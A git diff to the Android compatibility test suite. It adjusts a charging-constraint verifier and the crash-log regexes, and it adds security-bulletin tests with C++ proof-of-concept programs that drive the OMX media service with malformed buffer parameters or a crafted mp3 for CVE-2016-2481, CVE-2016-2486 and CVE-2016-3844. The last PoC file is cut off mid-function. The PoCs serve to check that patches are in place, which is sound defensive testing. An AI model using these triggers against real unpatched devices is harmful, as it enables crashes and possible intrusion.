Merge "[RESTRICT AUTOMERGE]: Revert "STS test for Android Security CVE-2019-2054"" into nyc-dev
diff --git a/apps/CtsVerifier/res/layout/js_charging.xml b/apps/CtsVerifier/res/layout/js_charging.xml
index e0986ba..d6a20c6 100644
--- a/apps/CtsVerifier/res/layout/js_charging.xml
+++ b/apps/CtsVerifier/res/layout/js_charging.xml
@@ -16,6 +16,7 @@
android:text="@string/js_test_description"
android:layout_margin="@dimen/js_padding"/>
<TextView
+ android:id="@+id/charger_prompt"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_margin="@dimen/js_padding"
@@ -70,12 +71,14 @@
android:textSize="16dp"/>
</LinearLayout>
<TextView
+ android:id="@+id/unplug_prompt"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_margin="@dimen/js_padding"
android:text="@string/js_charging_description_2"
android:textStyle="bold"/>
<LinearLayout
+ android:id="@+id/unplug_test_description"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_marginTop="@dimen/js_padding"
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 55bc996..d3de89d 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -2523,8 +2523,8 @@
<string name="js_charging_off_test">Device not charging will not execute a job with a charging constraint.</string>
<string name="js_charging_on_test">Device when charging will execute a job with a charging constraint.</string>
<string name="js_charging_description_2">After the above test has passed, remove the charger to continue. If the above failed, you can simply fail this test.</string>
- <string name="js_charging_description_3">Device is plugged in. Please wait while it get\s into stable charging state.</string>
- <string name="js_charging_description_4">There seems to be a problem with your charger. Pleasy try again.</string>
+ <string name="js_charging_description_3">Device is plugged in. Please wait while it gets into stable charging state.</string>
+ <string name="js_charging_description_4">There seems to be a problem with your charger. Please try again.</string>
<string name="js_connectivity_test">Connectivity Constraints</string>
<string name="js_connectivity_instructions">Verify the behaviour of the JobScheduler API for when the device has no access to data connectivity. Simply follow the on-screen instructions.</string>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/jobscheduler/ChargingConstraintTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/jobscheduler/ChargingConstraintTestActivity.java
index 4b70b89..f2908b4 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/jobscheduler/ChargingConstraintTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/jobscheduler/ChargingConstraintTestActivity.java
@@ -66,6 +66,14 @@
mStartButton.setEnabled(true);
}
+ if (!deviceHasBattery()) {
+ // This device has hardwired power, so do not prompt about connecting
+ // or disconnecting the charger, and ignore the "no power" test.
+ findViewById(R.id.charger_prompt).setVisibility(View.GONE);
+ findViewById(R.id.unplug_prompt).setVisibility(View.GONE);
+ findViewById(R.id.unplug_test_description).setVisibility(View.GONE);
+ }
+
hideWaitingForStableChargingViews();
mTestState = STATE_NOT_RUNNING;
@@ -88,6 +96,12 @@
unregisterReceiver(mChargingChangedReceiver);
}
+ private boolean deviceHasBattery() {
+ final Intent batteryInfo = registerReceiver(null,
+ new IntentFilter(Intent.ACTION_BATTERY_CHANGED));
+ return batteryInfo.getBooleanExtra(BatteryManager.EXTRA_PRESENT, true);
+ }
+
private boolean isDevicePluggedIn() {
IntentFilter ifilter = new IntentFilter(Intent.ACTION_BATTERY_CHANGED);
Intent batteryStatus = registerReceiver(null, ifilter);
@@ -117,8 +131,11 @@
new TestDevicePluggedInConstraint().execute();
}
} else if (BatteryManager.ACTION_DISCHARGING.equals(intent.getAction())) {
- if (mTestState == STATE_ON_CHARGING_TEST_PASSED) {
- new TestDeviceUnpluggedConstraint().execute();
+ // ignore this [spurious!] broadcast on non-battery devices
+ if (deviceHasBattery()) {
+ if (mTestState == STATE_ON_CHARGING_TEST_PASSED) {
+ new TestDeviceUnpluggedConstraint().execute();
+ }
}
} else if (Intent.ACTION_POWER_CONNECTED.equals(intent.getAction())) {
if (mTestState == STATE_WAITING_TO_START_ON_CHARGING_TEST) {
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/CrashReporter.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/CrashReporter.java
index 42d71e7..768d07b 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/CrashReporter.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/CrashReporter.java
@@ -125,15 +125,16 @@
private void processLogLine(String line) {
mLogcatChunk.append(line);
+ mLogcatChunk.append('\n');
Matcher m;
- if ((m = CrashUtils.sNewTestPattern.matcher(line)).matches()) {
+ if ((m = CrashUtils.sNewTestPattern.matcher(line)).find()) {
mTestName = m.group(1);
mCrashes = new ArrayList<Crash>();
mLogcatChunk.setLength(0);
- } else if (CrashUtils.sEndofCrashPattern.matcher(line).matches()) {
+ } else if (CrashUtils.sEndofCrashPattern.matcher(line).find()) {
mCrashes = CrashUtils.getAllCrashes(mLogcatChunk.toString());
mLogcatChunk.setLength(0);
- } else if (CrashUtils.sUploadRequestPattern.matcher(line).matches()) {
+ } else if (CrashUtils.sUploadRequestPattern.matcher(line).find()) {
upload(mDevice, mTestName, mCrashes);
}
}
diff --git a/common/util/src/com/android/compatibility/common/util/CrashUtils.java b/common/util/src/com/android/compatibility/common/util/CrashUtils.java
index d77b9a0..715e43d 100644
--- a/common/util/src/com/android/compatibility/common/util/CrashUtils.java
+++ b/common/util/src/com/android/compatibility/common/util/CrashUtils.java
@@ -23,33 +23,33 @@
/** Contains helper functions and shared constants for crash parsing. */
public class CrashUtils {
-
- public static final long MIN_CRASH_ADDR = 32768;
+ // used to only detect actual addresses instead of nullptr and other unlikely values
+ public static final long MIN_CRASH_ADDR = 0x8000;
// Matches the end of a crash
public static final Pattern sEndofCrashPattern =
- Pattern.compile(".*DEBUG\\s+:\\s+backtrace:.*");
+ Pattern.compile("DEBUG\\s+?:\\s+?backtrace:");
public static final String DEVICE_PATH = "/data/local/tmp/CrashParserResults/";
public static final String LOCK_FILENAME = "lockFile.loc";
public static final String UPLOAD_REQUEST = "Please upload a result file to stagefright";
public static final Pattern sUploadRequestPattern =
- Pattern.compile(".*" + UPLOAD_REQUEST + ".*");
+ Pattern.compile(UPLOAD_REQUEST);
public static final String NEW_TEST_ALERT = "New test starting with name: ";
public static final Pattern sNewTestPattern =
- Pattern.compile(".*" + NEW_TEST_ALERT + "(\\w+)\\(.*\\).*");
+ Pattern.compile(NEW_TEST_ALERT + "(\\w+?)\\(.*?\\)");
// Matches the smallest blob that has the appropriate header and footer
private static final Pattern sCrashBlobPattern =
- Pattern.compile("DEBUG\\s+:( [*]{3})+.*?DEBUG\\s+:\\s+backtrace:", Pattern.DOTALL);
+ Pattern.compile("DEBUG\\s+?:( [*]{3})+?.*?DEBUG\\s+?:\\s+?backtrace:", Pattern.DOTALL);
// Matches process id and name line and captures them
private static final Pattern sPidtidNamePattern =
- Pattern.compile("pid: (\\d+), tid: (\\d+), name: ([^\\s]+\\s+)*>>> (.*) <<<");
+ Pattern.compile("pid: (\\d+?), tid: (\\d+?), name: ([^\\s]+?\\s+?)*?>>> (.*?) <<<");
// Matches fault address and signal type line
private static final Pattern sFaultLinePattern =
Pattern.compile(
- "\\w+ \\d+ \\((.*)\\), code -*\\d+ \\(.*\\), fault addr "
+ "\\w+? \\d+? \\((.*?)\\), code -*?\\d+? \\(.*?\\), fault addr "
+ "(?:0x(\\p{XDigit}+)|-+)");
// Matches the abort message line if it contains CHECK_
private static Pattern sAbortMessageCheckPattern =
- Pattern.compile("(?i)Abort message.*CHECK_.*");
+ Pattern.compile("(?i)Abort message.*?CHECK_");
/**
* Determines if the given input has a {@link com.android.compatibility.common.util.Crash} that
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 0b592be..c49e0a5 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -65,6 +65,8 @@
<option name="push" value="CVE-2016-2484->/data/local/tmp/CVE-2016-2484" />
<option name="push" value="CVE-2016-2482->/data/local/tmp/CVE-2016-2482" />
<option name="push" value="CVE-2016-2483->/data/local/tmp/CVE-2016-2483" />
+ <option name="push" value="CVE-2016-2481->/data/local/tmp/CVE-2016-2481" />
+ <option name="push" value="CVE-2016-2486->/data/local/tmp/CVE-2016-2486" />
<!--__________________-->
<!-- Bulletin 2016-07 -->
@@ -78,6 +80,7 @@
<!-- Bulletin 2016-08 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
<option name="push" value="CVE-2016-3835->/data/local/tmp/CVE-2016-3835" />
+ <option name="push" value="CVE-2016-3844->/data/local/tmp/CVE-2016-3844" />
<!--__________________-->
<!-- Bulletin 2016-09 -->
@@ -89,18 +92,21 @@
<!-- Bulletin 2016-10 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
<option name="push" value="CVE-2016-3913->/data/local/tmp/CVE-2016-3913" />
+ <option name="push" value="CVE-2016-3933->/data/local/tmp/CVE-2016-3933" />
<!--__________________-->
<!-- Bulletin 2016-11 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
<option name="push" value="CVE-2012-6702->/data/local/tmp/CVE-2012-6702" />
<option name="push" value="CVE-2016-6746->/data/local/tmp/CVE-2016-6746" />
+ <option name="push" value="CVE-2016-6717->/data/local/tmp/CVE-2016-6717" />
<!--__________________-->
<!-- Bulletin 2016-12 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
<option name="push" value="CVE-2016-6790->/data/local/tmp/CVE-2016-6790" />
<option name="push" value="CVE-2016-6759->/data/local/tmp/CVE-2016-6759" />
+ <option name="push" value="CVE-2016-6789->/data/local/tmp/CVE-2016-6789" />
<!--__________________-->
<!-- Bulletin 2017-01 -->
@@ -212,6 +218,35 @@
<option name="push" value="testhevc_mem232->/data/local/tmp/testhevc_mem2" />
<option name="push" value="testavc_mem232->/data/local/tmp/testavc_mem2" />
<option name="push" value="testmpeg2_mem232->/data/local/tmp/testmpeg2_mem2" />
+ <option name="push" value="CVE-2017-068432->/data/local/tmp/CVE-2017-0684" />
+
+ <option name="append-bitness" value="false" />
+ </target_preparer>
+
+ <!-- This PoC only hits with the 32-bit binary. Only push 32 for 64 and 32-bit arches -->
+ <!-- This section is reserved for OMX tests that need to be 32-bit so they can get a -->
+ <!-- proper OMX instance. 64-bit PoCs don't get it and therefore don't hit the vuln. -->
+ <!-- All tests in this section should take care to only build the 32-bit binary. -->
+ <!-- In order to pass tradefed presubmit ValidateTestsAbi, add an exception. -->
+ <!-- For more details, visit b/127856694 -->
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+ <option name="cleanup" value="true" />
+
+ <option name="push" value="CVE-2016-840032->/data/local/tmp/CVE-2016-8400" />
+
+ <option name="append-bitness" value="false" />
+ </target_preparer>
+
+ <!-- This PoC only hits with the 32-bit binary. Only push 32 for 64 and 32-bit arches -->
+ <!-- This section is reserved for OMX tests that need to be 32-bit so they can get a -->
+ <!-- proper OMX instance. 64-bit PoCs don't get it and therefore don't hit the vuln. -->
+ <!-- All tests in this section should take care to only build the 32-bit binary. -->
+ <!-- In order to pass tradefed presubmit ValidateTestsAbi, add an exception. -->
+ <!-- For more details, visit b/127856694 -->
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+ <option name="cleanup" value="true" />
+
+ <option name="push" value="CVE-2017-627932->/data/local/tmp/CVE-2017-6279" />
<option name="append-bitness" value="false" />
</target_preparer>
diff --git a/hostsidetests/securitybulletin/res/CVE-2016-2486.mp3 b/hostsidetests/securitybulletin/res/CVE-2016-2486.mp3
new file mode 100644
index 0000000..e2b50d7
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/CVE-2016-2486.mp3
Binary files differ
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2481/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2481/Android.mk
new file mode 100644
index 0000000..6b3ebf7
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2481/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-2481
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES := \
+ $(TOP)/frameworks/native/include/media/openmax \
+
+LOCAL_SHARED_LIBRARIES := \
+ libbinder \
+ libutils \
+ libmedia \
+ libcutils \
+
+LOCAL_STATIC_LIBRARIES := cpufeatures
+LOCAL_COMPATIBILITY_SUITE := cts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+LOCAL_ARM_MODE := arm
+LOCAL_CPPFLAGS += -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2481/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2481/poc.cpp
new file mode 100644
index 0000000..0ba79ce
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2481/poc.cpp
@@ -0,0 +1,133 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions vand
+ * limitations under the License.
+ */
+
+#include <OMX_Component.h>
+#include <binder/IServiceManager.h>
+#include <binder/MemoryDealer.h>
+#include <media/IMediaPlayerService.h>
+#include <media/IOMX.h>
+
+using namespace android;
+
+#define PORT_INDEX_OUT 1
+#define DEALER_MEMORY_SIZE 49152
+#define VIDEO_FRAME_HEIGHT 1280
+#define VIDEO_FRAME_WIDTH 720
+#define BUFFER_COUNT_DEFAULT 0x4
+#define BUFFER_COUNT_TEST 64
+#define BUFFER_COUNT_MINIMUM 0x4
+#define BUFFER_SIZE 49152
+#define NAME_STRING "OMX.qcom.video.encoder.avc"
+
+class DummyOMXObserver : public BnOMXObserver {
+ public:
+ DummyOMXObserver() {}
+ virtual void onMessages(const std::list<omx_message> &) {}
+
+ protected:
+ virtual ~DummyOMXObserver() {}
+};
+
+template <class T>
+static void InitOMXParams(T *params) {
+ memset(params, 0, sizeof(T));
+ params->nSize = sizeof(T);
+ params->nVersion.s.nVersionMajor = 1;
+ params->nVersion.s.nVersionMinor = 0;
+ params->nVersion.s.nRevision = 0;
+ params->nVersion.s.nStep = 0;
+}
+
+int main() {
+ sp<IServiceManager> sm = defaultServiceManager();
+ sp<IBinder> binder = sm->getService(String16("media.player"));
+ sp<IMediaPlayerService> mediaPlayerService =
+ interface_cast<IMediaPlayerService>(binder);
+
+ if (mediaPlayerService == NULL) {
+ ALOGI("mediaPlayerService == NULL");
+ return EXIT_FAILURE;
+ }
+
+ sp<IOMX> service = mediaPlayerService->getOMX();
+ if (service == NULL) {
+ ALOGI("service == NULL");
+ return EXIT_FAILURE;
+ }
+
+ IOMX::node_id node = 0;
+ IOMX::buffer_id bufferId = 0;
+
+ sp<MemoryDealer> dealer = new MemoryDealer(DEALER_MEMORY_SIZE);
+ sp<IMemory> memory = dealer->allocate(DEALER_MEMORY_SIZE);
+
+ sp<DummyOMXObserver> observer = new DummyOMXObserver();
+
+ char *name = (char *)NAME_STRING;
+
+ status_t err = service->allocateNode(name, observer, NULL, &node);
+ if (err != OK) {
+ ALOGI("%s node allocation fails", name);
+ return EXIT_FAILURE;
+ }
+
+ OMX_PARAM_PORTDEFINITIONTYPE *params = (OMX_PARAM_PORTDEFINITIONTYPE *)malloc(
+ sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ InitOMXParams(params);
+
+ params->nPortIndex = PORT_INDEX_OUT;
+ params->format.video.nFrameHeight = VIDEO_FRAME_HEIGHT;
+ params->format.video.nFrameWidth = VIDEO_FRAME_WIDTH;
+ params->nBufferCountActual = BUFFER_COUNT_DEFAULT;
+ params->nBufferSize = BUFFER_SIZE;
+ params->nBufferCountMin = BUFFER_COUNT_MINIMUM;
+
+ err = service->setParameter(node, OMX_IndexParamPortDefinition, params,
+ sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ if (err != OK) {
+ ALOGI("setParameter, err: %d", err);
+ free(params);
+ return EXIT_FAILURE;
+ }
+
+ ALOGI("useBuffer");
+ err = service->useBuffer(node, PORT_INDEX_OUT, memory, &bufferId,
+ DEALER_MEMORY_SIZE);
+ if (err != OK) {
+ ALOGI("useBuffer, err: %d", err);
+ free(params);
+ return EXIT_FAILURE;
+ }
+
+ params->nBufferCountActual = BUFFER_COUNT_TEST;
+ err = service->setParameter(node, OMX_IndexParamPortDefinition, params,
+ sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ if (err != OK) {
+ ALOGI("setParameter, change actualcount, err: %d", err);
+ free(params);
+ return EXIT_FAILURE;
+ }
+
+ err = service->freeNode(node);
+ if (err != OK) {
+ ALOGI("freeNode, err: %d", err);
+ free(params);
+ return EXIT_FAILURE;
+ }
+
+ free(params);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2486/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2486/Android.mk
new file mode 100644
index 0000000..c6596d0
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2486/Android.mk
@@ -0,0 +1,40 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-2486
+LOCAL_SRC_FILES := poc.cpp
+
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES := \
+ $(TOP)/frameworks/native/include/media/openmax
+
+LOCAL_SHARED_LIBRARIES := \
+ liblog \
+ libbinder \
+ libmedia \
+ libutils \
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CPPFLAGS += -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2486/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2486/poc.cpp
new file mode 100644
index 0000000..604c04e
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2486/poc.cpp
@@ -0,0 +1,183 @@
+
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions vand
+ * limitations under the License.
+ */
+
+#include <OMX_Component.h>
+#include <binder/IServiceManager.h>
+#include <binder/MemoryDealer.h>
+#include <fcntl.h>
+#include <media/IMediaPlayerService.h>
+#include <media/IOMX.h>
+#include <stdio.h>
+
+using namespace android;
+
+class DummyOMXObserver : public BnOMXObserver {
+ public:
+ DummyOMXObserver() {}
+ virtual void onMessages(const std::list<omx_message> &) {}
+
+ protected:
+ virtual ~DummyOMXObserver() {}
+};
+
+template <class T>
+static void InitOMXParams(T *params) {
+ memset(params, 0, sizeof(T));
+ params->nSize = sizeof(T);
+ params->nVersion.s.nVersionMajor = 1;
+ params->nVersion.s.nVersionMinor = 0;
+ params->nVersion.s.nRevision = 0;
+ params->nVersion.s.nStep = 0;
+}
+
+IOMX::buffer_id *inBufferId = nullptr;
+IOMX::buffer_id *outBufferId = nullptr;
+int inFileFd = -1;
+
+static int exit_test(int ret_code) {
+ if (inBufferId != nullptr) {
+ delete[] inBufferId;
+ }
+ if (outBufferId != nullptr) {
+ delete[] outBufferId;
+ }
+ if (inFileFd >= 0) {
+ close(inFileFd);
+ }
+ return ret_code;
+}
+
+int main() {
+ sp<IServiceManager> sm = defaultServiceManager();
+
+ sp<IBinder> binder = sm->getService(String16("media.player"));
+ sp<IMediaPlayerService> mediaPlayerService =
+ interface_cast<IMediaPlayerService>(binder);
+
+ if (mediaPlayerService == nullptr) {
+ ALOGE("mediaPlayerService == NULL");
+ return EXIT_FAILURE;
+ }
+
+ sp<IOMX> service = mediaPlayerService->getOMX();
+ if (service == nullptr) {
+ ALOGE("service == NULL");
+ return EXIT_FAILURE;
+ }
+
+ sp<DummyOMXObserver> observerEnc = new DummyOMXObserver();
+ sp<DummyOMXObserver> observerDec = new DummyOMXObserver();
+
+ List<sp<IMemory>> inQueue;
+ List<sp<IMemory>> outQueue;
+ List<IOMX::buffer_id> outBufferIdQueue;
+
+ ALOGI("-----------decode------------");
+ const char *name = "OMX.google.mp3.decoder";
+
+ status_t err = OK;
+ IOMX::node_id node = 0;
+
+ if ((err = service->allocateNode(name, observerDec, nullptr, &node)) != OK) {
+ ALOGE("%s node allocation fails", name);
+ return EXIT_FAILURE;
+ }
+
+ int inMemSize = 4096;
+ int outMemSize = 16;
+ int inBufferCnt = 4;
+ int outBufferCnt = 4;
+
+ int inBufferSize = inMemSize / inBufferCnt;
+ int outBufferSize = outMemSize / outBufferCnt;
+
+ if ((inBufferId = new IOMX::buffer_id[inBufferCnt]) == nullptr) {
+ ALOGE("new inBuffer failed");
+ return EXIT_FAILURE;
+ }
+
+ if ((outBufferId = new IOMX::buffer_id[outBufferCnt]) == nullptr) {
+ ALOGE("new outBuffer failed");
+ return EXIT_FAILURE;
+ }
+
+ sp<MemoryDealer> dealerIn = new MemoryDealer(inMemSize);
+ sp<MemoryDealer> dealerOut = new MemoryDealer(outMemSize);
+
+ //
+ // read frames from mp3 file
+ //
+ const char *inFileName = "/data/local/tmp/CVE-2016-2486.mp3";
+ if ((inFileFd = open(inFileName, O_RDONLY)) < 0) {
+ ALOGE("cannot open file: %s", inFileName);
+ return exit_test(EXIT_FAILURE);
+ }
+
+ for (int i = 0; i < inBufferCnt; i++) {
+ sp<IMemory> memory = dealerIn->allocate(inBufferSize);
+ if (read(inFileFd, memory->pointer(), inBufferSize) == -1) {
+ ALOGE("read %d bytes: failed", inBufferSize);
+ return exit_test(EXIT_FAILURE);
+ }
+
+ if ((err = service->useBuffer(node, 0, memory, &inBufferId[i],
+ inBufferSize)) != OK) {
+ ALOGE("useBuffer 0, port index 0, err: %d", err);
+ return exit_test(EXIT_FAILURE);
+ }
+ }
+
+ for (int i = 0; i < outBufferCnt; i++) {
+ sp<IMemory> memory = dealerOut->allocate(outBufferSize);
+ if ((err = service->useBuffer(node, 1, memory, &outBufferId[i],
+ outBufferSize)) != OK) {
+ ALOGE("useBuffer 0, port index 1, err: %d, mem: %p", err,
+ memory->pointer());
+ return exit_test(EXIT_FAILURE);
+ }
+ }
+
+ // change state from loaded to idle
+ if ((err = service->sendCommand(node, OMX_CommandStateSet, 2)) != OK) {
+ ALOGE("sendCommand, err: %d", err);
+ return exit_test(EXIT_FAILURE);
+ }
+
+ // change state from idle to executing
+ if ((err = service->sendCommand(node, OMX_CommandStateSet, 3)) != OK) {
+ ALOGE("sendCommand, err: %d", err);
+ return exit_test(EXIT_FAILURE);
+ }
+
+ int fenceFd = -1;
+ for (int i = 0; i < inBufferCnt; i++) {
+ if ((err = service->emptyBuffer(node, inBufferId[i], 0, inBufferSize, 0, 0,
+ fenceFd)) != OK) {
+ ALOGE("emptyBuffer, err: %d", err);
+ return exit_test(EXIT_FAILURE);
+ }
+ }
+
+ for (int i = 0; i < outBufferCnt; i++) {
+ if ((err = service->fillBuffer(node, outBufferId[i], fenceFd)) != OK) {
+ ALOGE("fillBuffer, err: %d", err);
+ return exit_test(EXIT_FAILURE);
+ }
+ }
+
+ return exit_test(EXIT_SUCCESS);
+}
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3844/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3844/Android.mk
new file mode 100644
index 0000000..ba0767a
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3844/Android.mk
@@ -0,0 +1,40 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2016-3844
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES:= \
+ $(TOP)/frameworks/native/include/media/openmax \
+
+LOCAL_SHARED_LIBRARIES := \
+ libbinder \
+ libmedia \
+ liblog \
+ libutils \
+
+LOCAL_COMPATIBILITY_SUITE := cts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CPPFLAGS = -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3844/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3844/poc.cpp
new file mode 100644
index 0000000..1f64093
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3844/poc.cpp
@@ -0,0 +1,208 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions vand
+ * limitations under the License.
+ */
+
+#include <binder/IServiceManager.h>
+#include <binder/MemoryDealer.h>
+#include <media/IMediaPlayerService.h>
+#include <media/IOMX.h>
+
+#include "OMX_Component.h"
+
+using namespace android;
+
+template <class T>
+static void InitOMXParams(T *params) {
+ params->nSize = sizeof(T);
+ params->nVersion.s.nVersionMajor = 1;
+ params->nVersion.s.nVersionMinor = 0;
+ params->nVersion.s.nRevision = 0;
+ params->nVersion.s.nStep = 0;
+}
+
+struct DummyOMXObserver : public BnOMXObserver {
+ public:
+ DummyOMXObserver() {}
+
+ virtual void onMessages(const std::list<omx_message> &) {}
+
+ protected:
+ virtual ~DummyOMXObserver() {}
+};
+
+struct DeathRecipient : public IBinder::DeathRecipient {
+ DeathRecipient() : mDied(false) {}
+ bool mDied;
+ virtual void binderDied(const wp<IBinder> &) { mDied = true; }
+ bool died() const { return mDied; }
+};
+
+static bool connectOMX(sp<IOMX> &service) {
+ sp<IServiceManager> sm = defaultServiceManager();
+ sp<IBinder> binder = sm->getService(String16("media.player"));
+ sp<IMediaPlayerService> mediaPlayerService =
+ interface_cast<IMediaPlayerService>(binder);
+ if (mediaPlayerService == NULL) {
+ ALOGE("mediaPlayerService == NULL");
+ return false;
+ }
+ service = mediaPlayerService->getOMX();
+ if (service == NULL) {
+ ALOGE("cannot get the OMX interface");
+ return false;
+ }
+ return true;
+}
+
+int main() {
+ const char *codecName = "OMX.Nvidia.h264.decode.secure";
+
+ // connect to IOMX each time
+ sp<IOMX> service;
+ if (connectOMX(service) == false) {
+ ALOGE("failed to connect OMX");
+ return EXIT_FAILURE;
+ }
+
+ IOMX::node_id node = 0;
+ int fenceFd = -1;
+
+ sp<DummyOMXObserver> observer = new DummyOMXObserver();
+ status_t err = service->allocateNode(codecName, observer, NULL, &node);
+ if (err != OK) {
+ ALOGI("%s node allocation fails", codecName);
+ return EXIT_FAILURE;
+ }
+
